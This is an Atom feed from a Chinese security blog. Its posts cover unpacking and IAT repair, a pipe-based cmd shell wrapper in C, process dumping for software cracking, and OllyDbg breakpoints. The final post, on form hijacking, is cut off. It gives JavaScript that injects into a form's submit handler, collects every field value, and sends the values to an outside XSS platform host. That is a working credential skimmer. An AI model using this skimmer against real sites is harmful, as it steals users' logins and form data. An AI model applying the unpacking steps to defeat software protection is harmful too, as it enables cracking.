<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title><![CDATA[dw的博客]]></title>
  
  <link href="/atom.xml" rel="self"/>
  <link href="http://yoursite.com/"/>
  <updated>2015-05-13T15:26:08.052Z</updated>
  <id>http://yoursite.com/</id>
  
  <author>
    <name><![CDATA[dw]]></name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title><![CDATA[IAT被壳修改如何修复IAT]]></title>
    <link href="http://yoursite.com/2015/05/12/IAT%E8%A2%AB%E5%A3%B3%E4%BF%AE%E6%94%B9%E5%A6%82%E4%BD%95%E4%BF%AE%E5%A4%8DIAT/"/>
    <id>http://yoursite.com/2015/05/12/IAT被壳修改如何修复IAT/</id>
    <published>2015-05-12T09:21:26.000Z</published>
    <updated>2015-05-13T15:26:08.052Z</updated>
    <content type="html"><![CDATA[<pre><code>很多比较鸡贼的壳都会修改程序的<span class="variable">IAT</span>,这里说的修改不是指加壳以后的修改(加壳以后几乎所有的壳都会重建程序的<span class="variable">IAT</span>),而是指程序到达真正的<span class="variable">OEP</span>以后,发现<span class="variable">IAT</span>表中很多函数指到了别的地方,导致<span class="variable">ImportRec</span>无法修复.
</code></pre><h1 id="原理">原理</h1><blockquote>
<p>加壳程序要保证原程序能够正常运行,必须在程序到达真正的OEP之前将程序的IAT恢复出来,这里说的恢复有下面两种情况:</p>
</blockquote>
<ul>
<li>1.原封不动的恢复</li>
<li>2.修改原IAT表中的项,让他指向一个新的函数,这个函数实现了原导入函数相似的功能.</li>
</ul>
<blockquote>
<p>第一种就不多说了,直接上ImportREC搞定,至于第二种,可以使用如下方法:<br>我们知道,程序在加载IAT时,需要从相应的DLL中读出指定的函数,我们就可以从这里入手,因为上面两种情况都会执行这个步骤.当IAT加载代码从DLL中读出原函数以后,是不是要<font color="red">经过相应的处理,变化,然后把得到的结果放到IAT对应的项中?</font>我们的目的就是<font color="red">阻止这些修改!</font></p>
</blockquote>
<h1 id="过程">过程</h1><blockquote>
<p>不同的壳情况当然也不一样,我们这里使用一个加壳的记事本程序,PEID没查到壳,不要紧,方法都是通用的</p>
</blockquote>
<p><strong><font color="GREEN" size="5">这种方法需要先脱壳,脱壳就不说了,直接在代码段下断,然后单步跟踪,很容易找到OEP</font></strong></p>
<blockquote>
<p>找到OEP后,LoadPE转储,ImportRec修复,找到修复无效指针直接剪贴,常规流程!但是,剪贴以后傻逼了,直接成下面这样了</p>
</blockquote>
<center><br>    <img src="/img/blog_img/5月/IAT被壳修改如何修复IAT/1.png"><br></center>

<blockquote>
<p>一个程序只导入了12个函数,可能吗?我只能说,可能性不大<br>再看看内存镜像里面的IAT,万一ImportRec把IAT的偏移或者大小计算错了呢?这种情况经常发生!</p>
</blockquote>
<p>查看内存镜像,如下图</p>
<center><br>    <img src="/img/blog_img/5月/IAT被壳修改如何修复IAT/2.png"><br></center>

<p>看来ImportRec没有出错,另外,可以看到,IAT里面有很多非DLL导出函数指针,这个应该就是壳修改以后的函数指针了,随便找一个位置(最好不要找第一个,这样可以有个参考),设置内存写入断点,看它是怎么写的.点了几次以后,内存镜像和中断位置如下</p>
<center><br>    <img src="/img/blog_img/5月/IAT被壳修改如何修复IAT/3.png"><br></center>

<center><br>    <img src="/img/blog_img/5月/IAT被壳修改如何修复IAT/4.png"><br></center>

<p>看来<font color="red">ECX</font>存储的是函数指针,而上面又有<font color="red">MOV ECX,DWORD PTR SS:[EBP+40D456]</font>,所以直接找<font color="red">DWORD PTR SS:[EBP+40D456]</font>.</p>
<center><br>    <img src="/img/blog_img/5月/IAT被壳修改如何修复IAT/5.png"><br></center>

<p>这里,记住这个位置,重新开始,在40d400下断.发现这里如果把JE改成JMP的话可以跳过刚才的代码,试下.</p>
<blockquote>
<p>重新来到OEP,现在在看看IAT</p>
</blockquote>
<center><br>    <img src="/img/blog_img/5月/IAT被壳修改如何修复IAT/6.png"><br></center>

<p>妥妥的!</p>
<font color="red" size="7">PS:这种方法有时候会遇到壳自校验的问题,也就是说外壳发现你修改了代码,直接退出,这时,我们已经知道了IAT,直接用ImportRec修复之前保存好的转储文件就行了,其中,OEP填写真正的OEP.</font>]]></content>
    <summary type="html">
    <![CDATA[<pre><code>很多比较鸡贼的壳都会修改程序的<span class="variable">IAT</span>,这里说的修改不是指加壳以后的修改(加壳以后几乎所有的壳都会重建程序的<span class="variable">IAT</span>),而是指程序到达真正的<]]>
    </summary>
    
      <category term="脱壳" scheme="http://yoursite.com/tags/%E8%84%B1%E5%A3%B3/"/>
    
      <category term="逆向工程" scheme="http://yoursite.com/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
      <category term="逆向工程" scheme="http://yoursite.com/categories/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[利用管道自写shell]]></title>
    <link href="http://yoursite.com/2015/05/12/%E5%88%A9%E7%94%A8%E7%AE%A1%E9%81%93%E8%87%AA%E5%86%99shell/"/>
    <id>http://yoursite.com/2015/05/12/利用管道自写shell/</id>
    <published>2015-05-12T08:47:48.000Z</published>
    <updated>2015-05-12T09:15:07.559Z</updated>
    <content type="html"><![CDATA[<pre><code>有时我们需要写一个<span class="keyword">Shell</span>来完成一些比较猥琐的事(比如远程<span class="keyword">Shell</span>)，怎么办？完全自己写一个<span class="keyword">shell</span>吗？可行，但是工作量太大;有一个比较好的方案能帮助我们快速的完成工作--管道.
</code></pre><h1 id="原理:">原理:</h1><blockquote>
<p>这方面资料网上其实挺多的，简单说下吧,程序一般都有输入句柄和输出句柄,什么叫输入呢,就是你向它发送数据,输出肯定就是它向你发送数据了,简单来说,<font color="red">printf</font>算是输出,<font color="red">scanf</font>算是输入.一般来说,打开<font color="red">cmd.exe</font>如果不进行设置的话它的输入输出句柄就被设置成默认的了,也就是<font color="red">GetStdHandle</font>的返回值,那如果把输入输出句柄设置成我们自己设定的会怎么样呢？没错,就可以使用<font color="red">ReadFile</font>读取它的输出,使用<font color="red">WriteFile</font>向它输入!</p>
</blockquote>
<h1 id="实现:">实现:</h1><blockquote>
<p>废话不说,直接上代码</p>
</blockquote>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="preprocessor">#<span class="keyword">include</span> &lt;stdio.h&gt;</span></span><br><span class="line"><span class="preprocessor">#<span class="keyword">include</span> &lt;Windows.h&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="preprocessor">#<span class="keyword">define</span> BUFFER_SIZE 1024</span></span><br><span class="line"></span><br><span class="line">HANDLE hProcess=<span class="number">0</span>;</span><br><span class="line">HANDLE hRead1,hRead2;</span><br><span class="line">HANDLE hWrite1,hWrite2;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL WINAPI <span class="title">HandlerRoutine</span><span class="params">(DWORD dwType)</span></span><br><span class="line"></span>&#123;</span><br><span class="line">	<span class="keyword">if</span>(hProcess)</span><br><span class="line">	&#123;</span><br><span class="line">		TerminateProcess(hProcess,<span class="number">0</span>);</span><br><span class="line">		CloseHandle(hRead1);</span><br><span class="line">		CloseHandle(hRead2);</span><br><span class="line">		CloseHandle(hWrite1);</span><br><span class="line">		CloseHandle(hWrite2);</span><br><span class="line">		hProcess=<span class="number">0</span>;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">DWORD __<span class="function">stdcall <span class="title">ReadThread</span><span class="params">(<span class="keyword">void</span> * pData)</span></span><br><span class="line"></span>&#123;</span><br><span class="line">	<span class="keyword">char</span> buffer[BUFFER_SIZE];</span><br><span class="line">	DWORD len;</span><br><span class="line">	HANDLE hRead=(HANDLE)pData;</span><br><span class="line">	<span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		ReadFile(hRead,buffer,BUFFER_SIZE,&amp;len,<span class="number">0</span>);</span><br><span class="line">		buffer[len]=<span class="number">0</span>;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">"%s"</span>,buffer);</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc,<span class="keyword">char</span> * argv[])</span></span><br><span class="line"></span>&#123;</span><br><span class="line"></span><br><span class="line">	SECURITY_ATTRIBUTES sa;</span><br><span class="line">	PROCESS_INFORMATION pi;</span><br><span class="line">	STARTUPINFO si;</span><br><span class="line">	DWORD len;</span><br><span class="line">	<span class="keyword">char</span> buffer[BUFFER_SIZE];</span><br><span class="line"></span><br><span class="line">	<span class="keyword">if</span>(argc&lt;<span class="number">2</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">"输入程序路径!\r\n"</span>);</span><br><span class="line">		<span class="keyword">return</span> ;</span><br><span class="line">	&#125;</span><br><span class="line">	SetConsoleCtrlHandler(HandlerRoutine,<span class="number">1</span>);</span><br><span class="line">	sa.bInheritHandle=<span class="number">1</span>;  <span class="comment">//设置继承</span></span><br><span class="line">	sa.nLength=<span class="keyword">sizeof</span>(sa);</span><br><span class="line">	sa.lpSecurityDescriptor=<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">if</span>((!CreatePipe(&amp;hRead1,&amp;hWrite1,&amp;sa,<span class="number">0</span>))||(!CreatePipe(&amp;hRead2,&amp;hWrite2,&amp;sa,<span class="number">0</span>)))</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">"CreatePipe failed!\r\n"</span>);</span><br><span class="line">		<span class="keyword">return</span> ;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="built_in">memset</span>(&amp;si,<span class="number">0</span>,<span class="keyword">sizeof</span>(si));</span><br><span class="line">	<span class="built_in">memset</span>(&amp;pi,<span class="number">0</span>,<span class="keyword">sizeof</span>(pi));</span><br><span class="line"></span><br><span class="line">	GetStartupInfo(&amp;si);</span><br><span class="line">	si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;</span><br><span class="line">	si.hStdError=hWrite1;</span><br><span class="line">	si.hStdInput=hRead2;</span><br><span class="line">	si.hStdOutput=hWrite1;</span><br><span class="line">	si.wShowWindow=SW_HIDE;</span><br><span class="line"></span><br><span class="line">	<span class="keyword">if</span>(!CreateProcess(argv[<span class="number">1</span>],<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,&amp;si,&amp;pi))</span><br><span class="line">	&#123;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">"CreateProcess failed!\r\n"</span>);</span><br><span class="line">		<span class="keyword">return</span> ;</span><br><span class="line">	&#125;</span><br><span class="line">	hProcess=pi.hProcess;</span><br><span class="line">	Sleep(<span class="number">300</span>); <span class="comment">//等待程序执行</span></span><br><span class="line">	PeekNamedPipe(hRead1,buffer,<span class="number">1</span>,&amp;len,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">	<span class="keyword">while</span>(len)</span><br><span class="line">	&#123;</span><br><span class="line">		ReadFile(hRead1,buffer,BUFFER_SIZE,&amp;len,<span class="number">0</span>);</span><br><span class="line">		buffer[len]=<span class="number">0</span>;</span><br><span class="line">		<span class="built_in">printf</span>(<span class="string">"%s"</span>,buffer);</span><br><span class="line">		PeekNamedPipe(hRead1,buffer,<span class="number">1</span>,&amp;len,<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line">	&#125;</span><br><span class="line">	CloseHandle(CreateThread(<span class="number">0</span>,<span class="number">0</span>,ReadThread,(<span class="keyword">void</span> *)hRead1,<span class="number">0</span>,<span class="number">0</span>));</span><br><span class="line">	<span class="keyword">while</span>(<span class="number">1</span>)</span><br><span class="line">	&#123;</span><br><span class="line">		gets(buffer);</span><br><span class="line">		len=<span class="built_in">strlen</span>(buffer);</span><br><span class="line">		<span class="keyword">if</span>(len&gt;BUFFER_SIZE-<span class="number">2</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="built_in">printf</span>(<span class="string">"防溢出!\r\n"</span>);</span><br><span class="line">			<span class="keyword">continue</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		WriteFile(hWrite2,buffer,len,&amp;len,<span class="number">0</span>);</span><br><span class="line">		WriteFile(hWrite2,<span class="string">"\r\n"</span>,<span class="number">2</span>,&amp;len,<span class="number">0</span>); <span class="comment">//执行</span></span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h1 id="效果">效果</h1><center><br>    <img src="/img/blog_img/5月/利用管道自写shell/1.png"><br></center>
]]></content>
    <summary type="html">
    <![CDATA[<pre><code>有时我们需要写一个<span class="keyword">Shell</span>来完成一些比较猥琐的事(比如远程<span class="keyword">Shell</span>)，怎么办？完全自己写一个<span class="keyword">s]]>
    </summary>
    
      <category term="C语言" scheme="http://yoursite.com/tags/C%E8%AF%AD%E8%A8%80/"/>
    
      <category term="Windows" scheme="http://yoursite.com/tags/Windows/"/>
    
      <category term="C语言" scheme="http://yoursite.com/categories/C%E8%AF%AD%E8%A8%80/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[C语言编写进程转储工具]]></title>
    <link href="http://yoursite.com/2015/05/06/C%E8%AF%AD%E8%A8%80%E7%BC%96%E5%86%99%E8%BF%9B%E7%A8%8B%E8%BD%AC%E5%82%A8%E5%B7%A5%E5%85%B7/"/>
    <id>http://yoursite.com/2015/05/06/C语言编写进程转储工具/</id>
    <published>2015-05-06T14:40:46.000Z</published>
    <updated>2015-05-06T15:53:04.404Z</updated>
    <content type="html"><![CDATA[<pre><code>今天破解软件时<span class="variable">LoadPE</span>突然不能用了- -<span class="exclamation_mark">!</span>,没办法,要转储文件,自己写一个吧.
</code></pre><font size="30" color="red">代码就不公开了,不献丑了</font><br><hr color="red"><br><br>&gt; 编写主要分为下面几个步骤,<br><br><figure class="highlight erlang-repl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">加载进程;</span><br><span class="line">读取进程模块,取可执行文件的映像;</span><br><span class="line">读取进程当前内存;</span><br><span class="line">对<span class="variable">PE</span>头稍加修改,转储<span class="exclamation_mark">!</span></span><br></pre></td></tr></table></figure><br><br># 加载进程<br><br>&gt; 这个不多说了,找到进程PID,直接OpenProcess会给你返回一个进程句柄,下面的操作都要用这个句柄.至于PID怎么获得?想要编程的话使用<font color="red">Process32First,Process32Next</font>,想偷懒的话直接使用<font color="red">tasklist</font>

<h1 id="读取进程模块">读取进程模块</h1><blockquote>
<p>这里微软已经我们准备好了,有个API叫<font color="red">Module32First,Module32Next</font>,至于怎么用,MSDN上说的很清楚,一般来说Module32First返回的 MODULEENTRY32 就是可执行映像文件,没办法,创建进程的时候他总是第一个加载的啊,别的DLL都是为他服务的.</p>
</blockquote>
<h1 id="读取进程到内存">读取进程到内存</h1><blockquote>
<p>这里唯一需要注意的一点是:读取的时候可能需要设置权限,使用<font color="red">VirtualProtectEx</font>设置权限,使用<font color="red">ReadProcessMemory</font>读取内存,记得设置完以后用<font color="red">VirtualProtectEx</font>改回去^-^</p>
</blockquote>
<h1 id="转储">转储</h1><blockquote>
<p>好了,进程的可执行文件的内存映像已经被我们读取下来了,这个时候先别急着存储,因为还有一些事要做.大家观察下LoadPE转储下来的文件,有一个规律</p>
</blockquote>
<center><br>    <img src="/img/blog_img/5月/转储/1.png"><br></center>

<font color="RED">V.offset与R.offset,V.Size与R.Size一样吧</font>

<blockquote>
<p>顺便说下,V.offset指的是程序加载到内存以后RVA(相对虚拟地址),R.offset是指程序在文件中实际的偏移地址,R.offset指实际大小,V.size指加载到内存以后的大小.一般程序这两组值是不相等的,但是为什么转储以后相等了呢?</p>
</blockquote>
<font color="blue">这里个人觉得是作者偷了一下懒,因为加壳过程中,不能保证文件的大小不变,特别是压缩壳,是要尽可能减小程序在硬盘中的存储大小的,所以,一般壳都会去修改这个R.offset,R.size,让他们使用加壳以后比较合适的值,从而达到压缩,加密的目的,换句话说,<font color="red">这里的R.offset,R.size并不是未加壳前程序的偏移值及大小!</font>所以说,直接保存很大可能性会出错!</font>

<blockquote>
<p>怎么办呢？</p>
</blockquote>
<ul>
<li>比较麻烦的方法是:既然程序已经解密完毕了(转储时务必确保到达OEP!),那我们能不能算出来较为合适的R.offset以及R.size呢？当然可以!</li>
<li>比较简单的方法是:直接让R.offset=V.offset,R.size=V.size,V.size肯定是要大于R.size的,所以这样做无非就是多占一点空间而已(这也是为什么转储后的文件都要大于原文件),但是很保险,不会出错.</li>
</ul>
<blockquote>
<p>修改完每个SECTION的R.offset以及R.size后,如果有必要,修改下PE头中的ImageSize,保存文件,大功告成(当然修复输入表就是另外一回事了).</p>
</blockquote>
<font color="GREEN" size="30">祝大家开心</font>]]></content>
    <summary type="html">
    <![CDATA[<pre><code>今天破解软件时<span class="variable">LoadPE</span>突然不能用了- -<span class="exclamation_mark">!</span>,没办法,要转储文件,自己写一个吧.
</code></pre><font ]]>
    </summary>
    
      <category term="C语言" scheme="http://yoursite.com/tags/C%E8%AF%AD%E8%A8%80/"/>
    
      <category term="逆向工程" scheme="http://yoursite.com/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
      <category term="逆向工程" scheme="http://yoursite.com/categories/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[OD消息断点]]></title>
    <link href="http://yoursite.com/2015/05/02/OD%E6%B6%88%E6%81%AF%E6%96%AD%E7%82%B9/"/>
    <id>http://yoursite.com/2015/05/02/OD消息断点/</id>
    <published>2015-05-02T11:23:18.000Z</published>
    <updated>2015-05-06T15:31:34.864Z</updated>
    <content type="html"><![CDATA[<pre><code>给大家介绍下OD中怎么设置消息断点吧,本文只针对<span class="keyword">C</span>/<span class="keyword">C</span>++程序,别的语言写的程序有更好的办法.
</code></pre><h1 id="原始程序">原始程序</h1><blockquote>
<p>随便写一个对话框程序给大家演示一下吧.</p>
</blockquote>
<figure class="highlight aspectj"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">#include &lt;Windows.h&gt;</span><br><span class="line">#include <span class="string">"resource.h"</span></span><br><span class="line"></span><br><span class="line">BOOL <span class="function">CALLBACK <span class="title">DialogProc</span><span class="params">(HWND hWnd,UINT msg,WPARAM wParam,LPARAM lParam)</span></span><br><span class="line"></span>&#123;</span><br><span class="line">	<span class="keyword">switch</span>(msg)</span><br><span class="line">	&#123;</span><br><span class="line">	<span class="keyword">case</span> WM_COMMAND:</span><br><span class="line">		<span class="keyword">switch</span>(LOWORD(wParam))</span><br><span class="line">		&#123;</span><br><span class="line">		<span class="keyword">case</span> IDOK:</span><br><span class="line">			MessageBox(0,<span class="string">"OK"</span>,<span class="string">"OK"</span>,0);</span><br><span class="line">			<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	<span class="keyword">case</span> WM_SYSCOMMAND:</span><br><span class="line">		<span class="keyword">if</span>(LOWORD(wParam)==SC_CLOSE)</span><br><span class="line">		&#123;</span><br><span class="line">			MessageBox(<span class="number">0</span>,<span class="string">"Exit"</span>,<span class="string">"OK"</span>,<span class="number">0</span>);</span><br><span class="line">			EndDialog(hWnd,<span class="number">0</span>);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span><br><span class="line"></span>&#123;</span><br><span class="line">	DialogBox(<span class="number">0</span>,MAKEINTRESOURCE(IDD_DIALOG1),<span class="number">0</span>,DialogProc);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<blockquote>
<p>程序很简单，点击OK按钮出来一个提示框</p>
</blockquote>
<h1 id="OD中截获WM_COMMAND消息">OD中截获WM_COMMAND消息</h1><blockquote>
<p>开始想着是OD中选择查看-&gt;窗口,会显示当前应用程序的各个窗口,那直接找窗口处理函数,直接设断不就行了吗？很不幸,这样不行,看看下图</p>
</blockquote>
<center><br>    <img src="/img/blog_img/5月/消息断点/1.png"><br></center>

<blockquote>
<p>确实有确定,取消这几个按钮,而且也有我们的Dialog对话框,但是貌似处理函数跑飞了,我们自己写的处理函数怎么会位于USER32.DLL的加载空间呢？不用问，不是这个,<font color="red">仔细看下,上面写的是ClsProc,而且左边还有个WinProc</font>,我的理解是<font color="red">WinProc</font>才是你自己写的函数,但是这里OD没检测出来,那么<font color="red">ClsProc</font>是什么呢？我的理解是,在RegisterClassEx中使用的WNDCLASSEX结构体中的窗口处理函数,那么,调用顺序是怎样的呢?<font color="red">Windows会首先调用ClsProc中的处理函数,再由这个函数将消息转发给咱们自己定义的函数.</font></p>
</blockquote>
<ul>
<li>说了这么多,其实总结下来就一句话:<font color="BLUE">这个ClsProc不一定靠谱</font>,当然,<font color="BLUE">一些情况下还是可以用他的,如果他可以用的话,就可以直接使用OD提供的设置消息断点的方式</font></li>
</ul>
<blockquote>
<p>那么,怎么办呢？这里给大家介绍两种方法.</p>
</blockquote>
<h1 id="内存断点法">内存断点法</h1><ul>
<li><p>上面讲过,系统会<font color="RED">先调用这个ClsProc,然后再调用我们自己提供的函数</font>.看看地址空间,ClsProc显而易见是在USER32.DLL的空间(之前听有些说法是把它叫做系统空间,其实个人感觉这个不能叫系统空间,<font color="BLUE">系统空间是指你运行了特权指令,int 0x2e,sysenter以后CPU进入0环以后的空间</font>),而我们自己提供的函数肯定是位于当前应用程序的空间了,我们的目的就是找到他！</p>
</li>
<li><p>首先,在ClsProc的位置下条件断点.</p>
</li>
</ul>
<center><br>    <center><br>        <img src="/img/blog_img/5月/消息断点/2.jpg"><br>    </center><br></center>

<blockquote>
<p>这里注意两点,第一个是地址77D3E577,由于动态链接库每次加载的位置都不一样，所以这个值可能是会变的;第二个是[esp+4]的值,也就是句柄值,这里也是不确定的,我是怎么得到这个值的呢？<font color="RED">注意看堆栈</font>,不多解释.</p>
</blockquote>
<ul>
<li>点击确定后,程序断在这里,然后ALT+M打开内存,在代码区设断</li>
</ul>
<center><br>    <center><br>        <img src="/img/blog_img/5月/消息断点/3.png"><br>    </center><br></center>

<ul>
<li>点击运行:</li>
</ul>
<center><br>    <center><br>        <img src="/img/blog_img/5月/消息断点/4.png"><br>    </center><br></center>

<font size="30" color="GREEN">OK</font>

<h1 id="函数断点法">函数断点法</h1><blockquote>
<p>首先问一个问题:Windows系统在显示对话框时会调用什么函数?你可能想说DialogBoxA,DialogBoxW,对不起,<font color="RED">不是这两个,这两个其实不叫函数,他们只是宏定义,系统会调用DialogBoxParamA,或者DialogBoxParamW</font>.看先调用接口:</p>
</blockquote>
<figure class="highlight aspectj"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">DialogBoxParam</span><span class="params">(</span><br><span class="line">HINSTANCE hInstance,</span><br><span class="line">LPCTSTR lpTemplateName, </span><br><span class="line">HWND hWndParent,</span><br><span class="line">DLGPROC lpDialogFunc,</span><br><span class="line">PARAM dwInitParam)</span></span>;</span><br></pre></td></tr></table></figure>
<blockquote>
<p>思路有了吧,直接在这个函数上设断,[ESP+0x10]的值就是我们要找的了.</p>
</blockquote>
<font size="30" color="BLUE">That’s all</font>]]></content>
    <summary type="html">
    <![CDATA[<pre><code>给大家介绍下OD中怎么设置消息断点吧,本文只针对<span class="keyword">C</span>/<span class="keyword">C</span>++程序,别的语言写的程序有更好的办法.
</code></pre><h1 id="原始]]>
    </summary>
    
      <category term="C语言" scheme="http://yoursite.com/tags/C%E8%AF%AD%E8%A8%80/"/>
    
      <category term="OD" scheme="http://yoursite.com/tags/OD/"/>
    
      <category term="逆向工程" scheme="http://yoursite.com/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
      <category term="逆向工程" scheme="http://yoursite.com/categories/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[表单劫持]]></title>
    <link href="http://yoursite.com/2015/04/29/%E8%A1%A8%E5%8D%95%E5%8A%AB%E6%8C%81/"/>
    <id>http://yoursite.com/2015/04/29/表单劫持/</id>
    <published>2015-04-29T02:22:11.000Z</published>
    <updated>2015-04-30T06:37:34.276Z</updated>
    <content type="html"><![CDATA[<pre><code>今天看到了表单劫持,于是想在XSS平台上创建一个表单劫持的项目,使用的平台是<span class="string">http:</span><span class="comment">//xss.hacktask.net/ </span>
</code></pre><blockquote>
<p>在网上找了一下表单劫持方面的资料,思路<font color="red">大多是配合xss.js公共模块,通过修改form表单里action的地址为自己提供的地址,比如说<a href="http://www.xxxx.com/Form.php" target="_blank" rel="external">http://www.xxxx.com/Form.php</a> ,然后在From.php中,解析$_POST的内容达到劫持表单的功能.</font>有兴趣的朋友自己搜索下,这里主要介绍使用Javascript进行表单劫持,这种方法的<font color="blue">缺点会在后面给出.</font></p>
</blockquote>
<h1 id="思路">思路</h1><blockquote>
<p>大家都知道,在提交form表单时会调用onsubmit方法,既然调用了onsubmit,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息,代码如下:</p>
</blockquote>
<figure class="highlight axapta"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">var <span class="keyword">str</span>=<span class="string">''</span>;</span><br><span class="line"><span class="keyword">for</span>(var i=<span class="number">0</span>;i&lt;f.elements.length;i++) <span class="comment">//逐个获取表单的名称以及值</span></span><br><span class="line">&#123;</span><br><span class="line">	<span class="keyword">str</span>+=f.elements[i].name+<span class="string">':'</span>+f.elements[i].value+<span class="string">'||'</span>; <span class="comment">//'||'为分隔符</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">str</span>=<span class="keyword">str</span>.substr(<span class="number">0</span>,<span class="keyword">str</span>.length-<span class="number">2</span>);</span><br><span class="line">var img=<span class="keyword">new</span> Image(); <span class="comment">//使用Image提交信息</span></span><br><span class="line">img.src=<span class="string">'http://xss.hacktask.net/index.php?do=api&amp;id=&#123;projectId&#125;&amp;data='</span>+escape(<span class="keyword">str</span>)+<span class="string">'&amp;url='</span>+escape(location.href); <span 